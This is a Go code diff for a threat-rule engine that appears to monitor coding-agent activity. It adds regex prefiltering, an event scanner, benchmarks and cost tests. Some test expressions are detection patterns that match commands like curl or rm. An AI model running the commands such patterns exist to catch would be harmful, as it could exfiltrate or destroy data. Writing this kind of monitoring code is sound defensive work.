err != nil {+ return nil, err+ }+ return analyze(re).match(), nil+}++// pfInfo is what a subexpression tells about the text it matches: either the exact set of+// canonical strings it can match (exact != nil), or a prefilter it implies.+type pfInfo struct {+ exact map[string]bool+ pf *prefilter+}++func exactly(ss ...string) pfInfo {+ m := make(map[string]bool, len(ss))+ for _, s := range ss {+ m[s] = true+ }+ return pfInfo{exact: m}+}++// match turns an exact set into a prefilter: the text contains one of the strings. The empty+// string is contained in every text, so a set holding it does not constrain.+func (in pfInfo) match() *prefilter {+ if in.exact == nil {+ return in.pf+ }+ if in.exact[""] {+ return pfAlways+ }+ atoms := make([]string, 0, len(in.exact))+ for s := range in.exact {+ atoms = append(atoms, s)+ }+ slices.Sort(atoms) // a stable order, so a rule's work does not vary between runs+ subs := make([]*prefilter, len(atoms))+ for i, s := range atoms {+ subs[i] = &prefilter{op: pfAtom, atom: s}+ }+ return anyOf(subs...)+}++func analyze(re *syntax.Regexp) pfInfo {+ switch re.Op {+ case syntax.OpLiteral:+ return exactly(canonRunes(re.Rune))+ case syntax.OpCharClass:+ // A small class is the set of its runes; a wide one (including every negated class)+ // does not constrain.+ var rs []string+ for i := 0; i+1 < len(re.Rune); i += 2 {+ if re.Rune[i+1]-re.Rune[i] >= 4 || len(rs) >= 4 {+ return pfInfo{pf: pfAlways}+ }+ for r := re.Rune[i]; r <= re.Rune[i+1]; r++ {+ rs = append(rs, string(canonRune(r)))+ }+ }+ return exactly(rs...)+ case syntax.OpEmptyMatch, syntax.OpBeginLine, syntax.OpEndLine, syntax.OpBeginText, syntax.OpEndText,+ syntax.OpWordBoundary, syntax.OpNoWordBoundary:+ return exactly("")+ case syntax.OpCapture:+ return analyze(re.Sub[0])+ case syntax.OpPlus:+ return pfInfo{pf: analyze(re.Sub[0]).match()}+ case syntax.OpRepeat:+ if re.Min == 0 {+ return pfInfo{pf: pfAlways}+ }+ return pfInfo{pf: analyze(re.Sub[0]).match()}+ case syntax.OpConcat:+ return concat(re.Sub)+ case syntax.OpAlternate:+ subs := make([]pfInfo, len(re.Sub))+ exact := map[string]bool{}+ for i, s := range re.Sub {+ subs[i] = analyze(s)+ if exact != nil && subs[i].exact != nil && len(exact)+len(subs[i].exact) <= maxExact {+ for k := range subs[i].exact {+ exact[k] = true+ }+ } else {+ exact = nil+ }+ }+ if exact != nil {+ return pfInfo{exact: exact}+ }+ pfs := make([]*prefilter, len(subs))+ for i, s := range subs {+ pfs[i] = s.match()+ }+ return pfInfo{pf: anyOf(pfs...)}+ }+ // OpAnyChar, OpAnyCharNotNL, OpStar, OpQuest, OpNoMatch: no constraint.+ return pfInfo{pf: pfAlways}+}++// concat carries exact sets through a concatenation as their cross product while it stays small;+// whatever cannot stay exact becomes a conjunct.+func concat(subs []*syntax.Regexp) pfInfo {+ var conj []*prefilter+ cur := map[string]bool{"": true}+ for _, s := range subs {+ in := analyze(s)+ if in.exact != nil && len(cur)*len(in.exact) <= maxExact {+ next := make(map[string]bool, len(cur)*len(in.exact))+ for a := range cur {+ for b := range in.exact {+ next[a+b] = true+ }+ }+ cur = next+ continue+ }+ conj = append(conj, pfInfo{exact: cur}.match())+ if in.exact != nil {+ cur = in.exact+ } else {+ conj = append(conj, in.pf)+ cur = map[string]bool{"": true}+ }+ }+ if len(conj) == 0 {+ return pfInfo{exact: cur}+ }+ conj = append(conj, pfInfo{exact: cur}.match())+ return pfInfo{pf: allOf(conj...)}+}++func allOf(subs ...*prefilter) *prefilter {+ var keep []*prefilter+ for _, s := range subs {+ switch s.op {+ case pfTrue:+ case pfAnd:+ keep = append(keep, s.subs...)+ default:+ keep = append(keep, s)+ }+ }+ switch len(keep) {+ case 0:+ return pfAlways+ case 1:+ return keep[0]+ }+ return &prefilter{op: pfAnd, subs: keep}+}++func anyOf(subs ...*prefilter) *prefilter {+ var keep []*prefilter+ for _, s := range subs {+ switch s.op {+ case pfTrue:+ return pfAlways+ case pfOr:+ keep = append(keep, s.subs...)+ default:+ keep = append(keep, s)+ }+ }+ switch len(keep) {+ case 0:+ return pfAlways+ case 1:+ return keep[0]+ }+ return &prefilter{op: pfOr, subs: keep}+}++// canonRune is the smallest rune of r's simple-fold orbit.+func canonRune(r rune) rune {+ if r < utf8.RuneSelf {+ if 'a' <= r && r <= 'z' {+ return r - 'a' + 'A'+ }+ return r+ }+ m := r+ for f := unicode.SimpleFold(r); f != r; f = unicode.SimpleFold(f) {+ m = min(m, f)+ }+ return m+}++func canonRunes(rs []rune) string {+ var b strings.Builder+ for _, r := range rs {+ b.WriteRune(canonRune(r))+ }+ return b.String()+}++// canon is s in fold-canonical form. Invalid UTF-8 becomes U+FFFD, as regexp decodes it.+func canon(s string) string {+ b := make([]byte, 0, len(s))+ for i := 0; i < len(s); {+ c := s[i]+ if c < utf8.RuneSelf {+ if 'a' <= c && c <= 'z' {+ c -= 'a' - 'A'+ }+ b = append(b, c)+ i+++ continue+ }+ r, n := utf8.DecodeRuneInString(s[i:])+ b = utf8.AppendRune(b, canonRune(r))+ i += n+ }+ return string(b)+}diff --git a/pkg/asymptoteobserve/threatrules/regex_test.go b/pkg/asymptoteobserve/threatrules/regex_test.godeleted file mode 100644index 904bfdd9..00000000--- a/pkg/asymptoteobserve/threatrules/regex_test.go+++ /dev/null@@ -1,100 +0,0 @@-package threatrules--import (- "reflect"- "strings"- "testing"-- "github.com/google/cel-go/cel"-- "github.com/asymptote-labs/agent-beacon/pkg/asymptoteobserve"-)--// Compiling constant matches() patterns once must change nothing a rule can observe: every-// expression in the open corpus and the embedded baseline, on every fixture event and on a-// pessimistic copy whose every string is 64 KiB, gives the same result, the same error, and the-// same CEL cost (the cost limit is a safety contract) as the program cel-go builds by default.-func TestConstantRegexChangesNothing(t *testing.T) {- env, err := Env()- if err != nil {- t.Fatal(err)- }- big := strings.Repeat("a", asymptoteobserve.DefaultMaxEventBytes)- compared := 0- for _, r := range corpusRules(t) {- var checks []func(what string, e asymptoteobserve.Event)- for _, expr := range ruleExpressions(r) {- ast, iss := env.Compile(expr)- if iss != nil && iss.Err() != nil {- t.Fatalf("%s: %v", r.ID, iss.Err())- }- plain, err := env.Program(ast, cel.CostLimit(evalCostLimit), cel.EvalOptions(cel.OptTrackCost))- if err != nil {- t.Fatalf("%s: %v", r.ID, err)- }- optimized, err := env.Program(ast, cel.CostLimit(evalCostLimit), cel.EvalOptions(cel.OptTrackCost), cel.OptimizeRegex(constantRegex))- if err != nil {- t.Fatalf("%s: %v", r.ID, err)- }- checks = append(checks, func(what string, e asymptoteobserve.Event) {- in := map[string]any{eventVar: e}- wantVal, wantDet, wantErr := plain.Eval(in)- gotVal, gotDet, gotErr := optimized.Eval(in)- if (wantErr == nil) != (gotErr == nil) {- t.Fatalf("%s %s: error %v, default %v", r.ID, what, gotErr, wantErr)- }- if wantErr == nil && !reflect.DeepEqual(gotVal.Value(), wantVal.Value()) {- t.Fatalf("%s %s: %v, default %v", r.ID, what, gotVal, wantVal)- }- if *gotDet.ActualCost() != *wantDet.ActualCost() {- t.Fatalf("%s %s: cost %d, default %d", r.ID, what, *gotDet.ActualCost(), *wantDet.ActualCost())- }- compared++- })- }- // Every step on the fixtures as written first: fillStrings writes through the pointers- // EventList's shallow copies share with r.Tests, so the 64 KiB pass comes after.- for _, pessimistic := range []bool{false, true} {- for _, f := range r.Tests {- for _, ev := range f.EventList() {- ev = withDerivedFields(ev)- what := f.Name- if pessimistic {- fillStrings(reflect.ValueOf(&ev).Elem(), big, 0)- what += " (64 KiB strings)"- }- for _, check := range checks {- check(what, ev)- }- }- }- }- }- if compared < 1000 {- t.Fatalf("compared only %d evaluations; the corpus did not load", compared)- }- t.Logf("%d evaluations agree", compared)-}--// BenchmarkScanCorpus scans every fixture event of the open corpus and the embedded baseline-// with every rule, as `beacon scan` does.-func BenchmarkScanCorpus(b *testing.B) {- var compiled []*CompiledRule- var events []asymptoteobserve.Event- for _, r := range corpusRules(b) {- c, err := Compile(r)- if err != nil {- b.Fatalf("%s: %v", r.ID, err)- }- compiled = append(compiled, c)- for _, f := range r.Tests {- events = append(events, f.EventList()...)- }- }- b.ReportAllocs()- for b.Loop() {- if _, err := ScanEvents(compiled, events); err != nil {- b.Fatal(err)- }- }-}diff --git a/pkg/asymptoteobserve/threatrules/regexcall.go b/pkg/asymptoteobserve/threatrules/regexcall.gonew file mode 100644index 00000000..551eb374--- /dev/null+++ b/pkg/asymptoteobserve/threatrules/regexcall.go@@ -0,0 +1,109 @@+package threatrules++import (+ "regexp"++ "github.com/google/cel-go/common/types"+ "github.com/google/cel-go/common/types/ref"+ "github.com/google/cel-go/interpreter"+)++// prefilteredMatches compiles the constant pattern of a matches() call once, when the program is+// built, and runs it behind the pattern's prefilter. Without the compilation cel-go compiles the+// pattern on every evaluation, for every rule and every event.+//+// A pattern that does not compile is left to the call as written, so a rule with a broken pattern+// still loads and still fails when it is evaluated (TestInvalidRegexErrorsAtEval): moving that+// failure to load time would make rulestore skip the rule instead. Results, errors and CEL costs+// are those of the call cel-go builds (TestFastPathChangesNothing).+var prefilteredMatches = &interpreter.RegexOptimization{+ Function: interpreter.MatchesRegexOptimization.Function,+ RegexIndex: interpreter.MatchesRegexOptimization.RegexIndex,+ Factory: func(call interpreter.InterpretableCall, pattern string) (interpreter.InterpretableCall, error) {+ re, err := regexp.Compile(pattern)+ if err != nil {+ return call, nil+ }+ pf, err := compilePrefilter(pattern)+ if err != nil {+ return call, nil+ }+ if pf.op == pfTrue {+ pf = nil+ }+ return &matchesCall{id: call.ID(), function: call.Function(), overload: call.OverloadID(), args: call.Args(), re: re, pf: pf}, nil+ },+}++// matchesCall is a matches() call with a constant pattern. It keeps the call's identity (id,+// function, overload, arguments) and evaluates every argument as cel-go's own call does, so the+// cost tracker sees the same steps; only how the result is computed changes.+type matchesCall struct {+ id int64+ function string+ overload string+ args []interpreter.InterpretableV2+ re *regexp.Regexp+ pf *prefilter // nil when the pattern implies no literal+}++func (m *matchesCall) ID() int64 { return m.id }+func (m *matchesCall) Function() string { return m.function }+func (m *matchesCall) OverloadID() string { return m.overload }+func (m *matchesCall) Args() []interpreter.InterpretableV2 { return m.args }++func (m *matchesCall) Eval(a interpreter.Activation) ref.Val {+ return m.Exec(interpreter.AsFrame(a))+}++// Exec is cel-go's strict call (interpreter.NewCall): arguments in order, the first error or the+// merged unknowns returned as they are, and the result labeled with the call's node.+func (m *matchesCall) Exec(frame *interpreter.ExecutionFrame) ref.Val {+ vals := make([]ref.Val, len(m.args))+ var unk *types.Unknown+ for i, arg := range m.args {+ vals[i] = arg.Exec(frame)+ if types.IsError(vals[i]) {+ return vals[i]+ }+ unk, _ = types.MaybeMergeUnknowns(vals[i], unk)+ }+ if unk != nil {+ return unk+ }+ return types.LabelErrNode(m.id, m.match(frame, vals))+}++func (m *matchesCall) match(frame *interpreter.ExecutionFrame, vals []ref.Val) ref.Val {+ if len(vals) != 2 {+ return types.NoSuchOverloadErr()+ }+ s, ok := vals[0].Value().(string)+ if !ok {+ return types.NoSuchOverloadErr()+ }+ if m.pf != nil && !m.pf.holds(canonOf(frame, s)) {+ return types.False+ }+ return types.Bool(m.re.MatchString(s))+}++// canonOf is canon(s), from the event activation's cache when a is or wraps one: every rule that+// matches on a field then shares one canonicalization of it.+func canonOf(a interpreter.Activation, s string) string {+ // The bound only guards against an activation chain that never ends; it is far deeper than+ // any nesting of comprehensions a rule can write.+ for range 64 {+ switch x := a.(type) {+ case nil:+ return canon(s)+ case *eventActivation:+ return x.canon(s)+ case *interpreter.ExecutionFrame:+ a = x.Activation+ default:+ a = a.Parent()+ }+ }+ return canon(s)+}diff --git a/pkg/asymptoteobserve/threatrules/rule.go b/pkg/asymptoteobserve/threatrules/rule.goindex 55b71b7b..f8b1e00f 100644--- a/pkg/asymptoteobserve/threatrules/rule.go+++ b/pkg/asymptoteobserve/threatrules/rule.go@@ -1,10 +1,3 @@-// Package threatrules implements the Beacon "Threat Rules" detection-rule standard: a-// YAML rule format whose match conditions are CEL expressions over the Beacon endpoint-// event, plus a reference evaluator and an embedded-fixture conformance harness.-//-// This package is the open reference implementation of the spec under-// spec/threat-rules. A separate (possibly closed) engine conforms if it produces the-// same Verdict each rule's fixtures declare.package threatrulesimport (diff --git a/pkg/asymptoteobserve/threatrules/scan.go b/pkg/asymptoteobserve/threatrules/scan.gonew file mode 100644index 00000000..a5e0a1ef--- /dev/null+++ b/pkg/asymptoteobserve/threatrules/scan.go@@ -0,0 +1,64 @@+package threatrules++import (+ "fmt"+ "slices"+)++// eventScanner runs single-event rules against one event at a time. It is built once and is safe+// for concurrent use.+//+// For each event it evaluates only the rules that can match the event's action (see+// eventActions), and every rule reads the event through one activation, so the event's derived+// fields are worked out once, and only when a rule that reads them is evaluated.+type eventScanner struct {+ rules []*CompiledRule+ // byAction lists, for each action some rule is limited to, the rules that can match an event+ // with that action, in rule order; anyAction lists them for every other action.+ byAction map[string][]int+ anyAction []int+}++func newEventScanner(rules []*CompiledRule) *eventScanner {+ s := &eventScanner{rules: rules, byAction: map[string][]int{}}+ for i, r := range rules {+ if r.match.actions == nil {+ s.anyAction = append(s.anyAction, i)+ }+ }+ for i, r := range rules {+ for action := range r.match.actions {+ if _, ok := s.byAction[action]; !ok {+ s.byAction[action] = slices.Clone(s.anyAction)+ }+ s.byAction[action] = append(s.byAction[action], i)+ }+ }+ for _, rs := range s.byAction {+ slices.Sort(rs)+ }+ return s+}++// scan calls hit with the index of every rule that matches the event, in rule order. An+// evaluation error (such as one that exceeded MaxEvalCost) fails the scan and names the rule.+func (s *eventScanner) scan(in *eventInput, hit func(rule int)) error {+ candidates, ok := s.byAction[in.event.Event.Action]+ if !ok {+ candidates = s.anyAction+ }+ for _, r := range candidates {+ rule := s.rules[r]+ act := in.activation(rule.derived)+ matched, err := evalObserved(rule.match.program(act), act)+ if err != nil {+ // Name the rule: an evaluation error belongs to the rule, not to the log, and the+ // operator needs to know which to remove.+ return fmt.Errorf("rule %q: %w", rule.rule.ID, err)+ }+ if matched {+ hit(r)+ }+ }+ return nil+}diff --git a/pkg/asymptoteobserve/threatrules/scan_bench_test.go b/pkg/asymptoteobserve/threatrules/scan_bench_test.gonew file mode 100644index 00000000..8aa62fb4--- /dev/null+++ b/pkg/asymptoteobserve/threatrules/scan_bench_test.go@@ -0,0 +1,120 @@+package threatrules++import (+ "encoding/json"+ "fmt"+ "strings"+ "testing"++ "github.com/asymptote-labs/agent-beacon/pkg/asymptoteobserve"+)++// BenchmarkScanCorpus scans every fixture event of the open corpus and the embedded baseline+// with every rule, as `beacon scan` does.+func BenchmarkScanCorpus(b *testing.B) {+ var compiled []*CompiledRule+ var events []asymptoteobserve.Event+ for _, r := range corpusRules(b) {+ c, err := Compile(r)+ if err != nil {+ b.Fatalf("%s: %v", r.ID, err)+ }+ compiled = append(compiled, c)+ for _, f := range r.Tests {+ events = append(events, f.EventList()...)+ }+ }+ b.ReportAllocs()+ for b.Loop() {+ if _, err := ScanEvents(compiled, events); err != nil {+ b.Fatal(err)+ }+ }+}++// BenchmarkScanEvent judges one event with every single-event rule of the open corpus and the+// embedded baseline, as a caller that evaluates events as they arrive does: a file.read carrying+// a 3 KB result, the session.context of a 12 KB system prompt, and a command.executed.+func BenchmarkScanEvent(b *testing.B) {+ var single []*CompiledRule+ for _, r := range corpusRules(b) {+ if r.Correlation != nil {+ continue+ }+ c, err := Compile(r)+ if err != nil {+ b.Fatalf("%s: %v", r.ID, err)+ }+ single = append(single, c)+ }+ scanner := newEventScanner(single)+ for _, bc := range scanBenchEvents(b) {+ b.Run(bc.name, func(b *testing.B) {+ b.ReportAllocs()+ for b.Loop() {+ var findings []Finding+ e := bc.event+ err := scanner.scan(&eventInput{event: &e}, func(r int) {+ findings = append(findings, single[r].newFinding([]asymptoteobserve.Event{e}))+ })+ if err != nil {+ b.Fatal(err)+ }+ }+ })+ }+}++type namedEvent struct {+ name string+ event asymptoteobserve.Event+}++// scanBenchEvents are three events of an ordinary coding-agent session.+func scanBenchEvents(tb testing.TB) []namedEvent {+ tb.Helper()+ source := []string{+ "\treturn zero, false",+ "}",+ "\tif c.ll.Len() > c.cap {",+ "\t\tc.evict(time.Now())",+ "\t}",+ "\t// Expired entries are dropped lazily on the next Put.",+ "\tfor e := c.ll.Back(); e != nil; e = e.Prev() {",+ "\t\tentry := e.Value.(*cacheEntry[K, V])",+ "\t\tif now.Before(entry.expires) {",+ "\t\t\tbreak",+ }+ var read strings.Builder+ for i := 0; read.Len() < 3000; i++ {+ fmt.Fprintf(&read, "%6d\t%s\n", i+1, source[i%len(source)])+ }+ prompt := "You are an interactive CLI tool that helps users with software engineering tasks. " ++ "Use the instructions below and the tools available to you to assist the user. " ++ "When reading files, prefer the Read tool over cat; when searching, prefer Grep. " ++ "Never commit changes unless the user explicitly asks you to. Keep responses short. "+ var system strings.Builder+ for system.Len() < 12000 {+ system.WriteString(prompt)+ }+ common := `"timestamp":"2023-11-14T22:13:20.000000000Z","vendor":"beacon","product":"endpoint-agent","schema_version":"1.0","severity":"info","endpoint":{"hostname":"dev-laptop","os":"darwin"},"harness":{"name":"claude_code","version":"2.1.306"},"origin":"local","session":{"id":"a0"},"content":{"retention":"full","included":true},"model":"claude-sonnet-4-5-20250929"`+ quote := func(s string) string {+ raw, _ := json.Marshal(s)+ return string(raw)+ }+ lines := []namedEvent{+ {"file.read_3KB", decodeBenchEvent(tb, `{`+common+`,"event":{"kind":"agent_runtime","action":"file.read","category":"file","fidelity":"inferred"},"tool":{"name":"Read"},"gen_ai":{"conversation":{"id":"a0"},"tool":{"name":"Read","call":{"id":"toolu_7c20e02dae62425abf1f477f","result":`+quote(read.String()[:3000])+`}}}}`)},+ {"session.context_12KB", decodeBenchEvent(tb, `{`+common+`,"event":{"kind":"agent_runtime","action":"session.context","category":"session","fidelity":"observed"},"gen_ai":{"conversation":{"id":"a0"},"system_instructions":[{"type":"text","content":`+quote(system.String())+`}]}}`)},+ {"command.executed", decodeBenchEvent(tb, `{`+common+`,"event":{"kind":"agent_runtime","action":"command.executed","category":"command","fidelity":"inferred"},"tool":{"name":"Bash","command":"git status"},"command":{"command":"git status"},"gen_ai":{"conversation":{"id":"a0"},"tool":{"name":"Bash","call":{"id":"toolu_cebc22facd3550b05ae88599","arguments":"{\"command\":\"git status\",\"description\":\"Run git\"}"}}}}`)},+ }+ return lines+}++func decodeBenchEvent(tb testing.TB, line string) asymptoteobserve.Event {+ tb.Helper()+ var e asymptoteobserve.Event+ if err := json.Unmarshal([]byte(line), &e); err != nil {+ tb.Fatal(err)+ }+ return e+}diff --git a/pkg/asymptoteobserve/threatrules/untracked_test.go b/pkg/asymptoteobserve/threatrules/untracked_test.gonew file mode 100644index 00000000..1cb39355--- /dev/null+++ b/pkg/asymptoteobserve/threatrules/untracked_test.go@@ -0,0 +1,151 @@+package threatrules++import (+ "fmt"+ "math/rand/v2"+ "reflect"+ "strings"+ "sync/atomic"+ "testing"++ "github.com/asymptote-labs/agent-beacon/pkg/asymptoteobserve"+)++// TestUntrackedCostIsBounded evaluates every expression of the corpus both ways wherever the+// untracked program would be chosen: on its rule's fixture events as written, derived, sanitized,+// in fold-case variants and with every string 64 KiB, and on random events with strings and lists+// on either side of the size tiers. Untracked, it must give the tracked program's result and error,+// and the tracked cost must stay within the estimate the choice rested on, which is within the cost+// limit; so an evaluation the limit would stop is never untracked. It runs at the real limit and+// at limits low enough that rules fail.+func TestUntrackedCostIsBounded(t *testing.T) {+ t.Cleanup(func() { evalCostLimit = MaxEvalCost })+ rules := corpusRules(t)+ random := randomEvents(t, rand.New(rand.NewPCG(9, 10)), fixtureEvents(t, rules), 400)+ big := strings.Repeat("a", asymptoteobserve.DefaultMaxEventBytes)+ for _, limit := range []uint64{MaxEvalCost, 10000, 1000, 100} {+ evalCostLimit = limit+ var untracked, tracked, eligible, expressions atomic.Int64+ t.Run(fmt.Sprint("limit ", limit), func(t *testing.T) {+ for _, r := range rules {+ t.Run(r.ID, func(t *testing.T) {+ t.Parallel()+ var events []asymptoteobserve.Event+ for _, e := range fixtureEvents(t, []*Rule{r}) {+ events = append(events, e, asymptoteobserve.SanitizeEvent(copyEvent(t, e), 64*1024))+ v := copyEvent(t, e)+ mapStrings(reflect.ValueOf(&v).Elem(), func(s string) string { return foldVariants(s)[1] })+ events = append(events, v)+ v = copyEvent(t, e)+ fillStrings(reflect.ValueOf(&v).Elem(), big, 0)+ events = append(events, v)+ }+ events = append(events, random...)+ for _, expr := range ruleExpressions(r) {+ m, err := compileMatcher(expr)+ if err != nil {+ t.Fatal(err)+ }+ expressions.Add(1)+ if m.untracked == nil {+ continue+ }+ eligible.Add(1)+ for i, e := range events {+ for _, act := range []*eventActivation{newEventActivation(e), newEventActivation(withDerivedFields(e))} {+ s, l, ok := act.tier()+ if !ok || !m.untracked.fits[s][l] {+ tracked.Add(1)+ continue+ }+ untracked.Add(1)+ checkUntracked(t, m, act, s, l, fmt.Sprintf("event %d", i), expr)+ }+ }+ }+ })+ }+ })+ t.Logf("limit %d: %d of %d expressions can run untracked; %d evaluations untracked, %d tracked",+ limit, eligible.Load(), expressions.Load(), untracked.Load(), tracked.Load())+ if limit == MaxEvalCost && (eligible.Load()*2 < expressions.Load() || untracked.Load() == 0) {+ t.Fatalf("too few untracked evaluations to mean anything")+ }+ }+}++func checkUntracked(t *testing.T, m matcher, act *eventActivation, s, l int, what, expr string) {+ t.Helper()+ gotVal, _, gotErr := m.untracked.prog.Eval(act)+ wantVal, det, wantErr := m.prog.Eval(act)+ if fmt.Sprint(gotErr) != fmt.Sprint(wantErr) {+ t.Fatalf("%s: untracked error %v, tracked %v\n%s", what, gotErr, wantErr, expr)+ }+ if wantErr == nil && !reflect.DeepEqual(gotVal.Value(), wantVal.Value()) {+ t.Fatalf("%s: untracked %v, tracked %v\n%s", what, gotVal, wantVal, expr)+ }+ bound := m.untracked.max[s][l]+ if cost := *det.ActualCost(); cost > bound || bound > evalCostLimit {+ t.Fatalf("%s: tracked cost %d, estimate %d, limit %d (tier %d/%d)\n%s", what, cost, bound, evalCostLimit, s, l, expr)+ }+}++// TestUntrackedShape pins which operations keep the tracker: anything that can build a value larger+// than its inputs, a comprehension that builds a list or map, and a struct literal.+func TestUntrackedShape(t *testing.T) {+ env, err := Env()+ if err != nil {+ t.Fatal(err)+ }+ for _, tc := range []struct {+ expr string+ ok bool+ }{+ {`e.event.action == "a" && e.command.command.matches("(?i)curl")`, true},+ {`e.command.parsed_commands.exists(c, c.argv.exists(a, a.startsWith("-")))`, true},+ {`e.command.parsed_commands.exists_one(c, c.name == "rm")`, true},+ {`size(e.command.parsed_commands) > 2 && e.command.parsed_commands[0].name in ["a", "b"]`, true},+ {`(e.command.command + e.file.path).matches("x")`, false},+ {`e.command.parsed_commands.map(c, c.name).exists(n, n == "rm")`, false},+ {`e.command.parsed_commands.filter(c, c.name == "rm").size() > 0`, false},+ {`(e.command.parsed_commands + e.command.parsed_commands).size() > 0`, false},+ {`string(e.command.duration_ms) == "1"`, false},+ } {+ ast, iss := env.Compile(tc.expr)+ if iss != nil && iss.Err() != nil {+ t.Fatalf("%s: %v", tc.expr, iss.Err())+ }+ if _, ok := untrackedShape(ast); ok != tc.ok {+ t.Errorf("%s: untracked %v, want %v", tc.expr, ok, tc.ok)+ }+ }+ // A literal larger than a tier rules that tier out: an event in it is bounded by the next tier.+ ast, _ := env.Compile(`e.command.command == "` + strings.Repeat("x", 2000) + `"`)+ u, err := newUntracked(env, ast, MaxEvalCost)+ if err != nil || u == nil || !u.fits[0][0] || u.max[0][0] != u.max[1][0] {+ t.Fatalf("long literal: %+v, %v", u, err)+ }+ if lit, _ := untrackedShape(ast); lit.maxString != 2000 {+ t.Fatalf("literal size %d", lit.maxString)+ }+}++// TestEventTiers checks the measure an event's tier rests on: the longest string and list a rule can+// read, and nothing a rule cannot (interface{} values such as raw).+func TestEventTiers(t *testing.T) {+ e := asymptoteobserve.Event{+ Command: &asymptoteobserve.CommandInfo{Command: strings.Repeat("x", 5000)},+ Raw: map[string]interface{}{"huge": strings.Repeat("y", 1<<20)},+ }+ s, l, ok := newEventActivation(e).tier()+ if !ok || s != 2 || l != 0 {+ t.Fatalf("tier %d/%d %v; want 16 KiB strings, 16-element lists", s, l, ok)+ }+ d := withDerivedFields(asymptoteobserve.Event{Command: &asymptoteobserve.CommandInfo{Command: strings.Repeat("a ", 40)}})+ if _, l, ok := newEventActivation(d).tier(); !ok || l != 1 {+ t.Fatalf("derived argv of 40 words: list tier %d %v", l, ok)+ }+ if _, _, ok := newEventActivation(asymptoteobserve.Event{Message: strings.Repeat("z", 70000)}).tier(); ok {+ t.Fatal("a 70,000-byte string fits a tier")+ }+}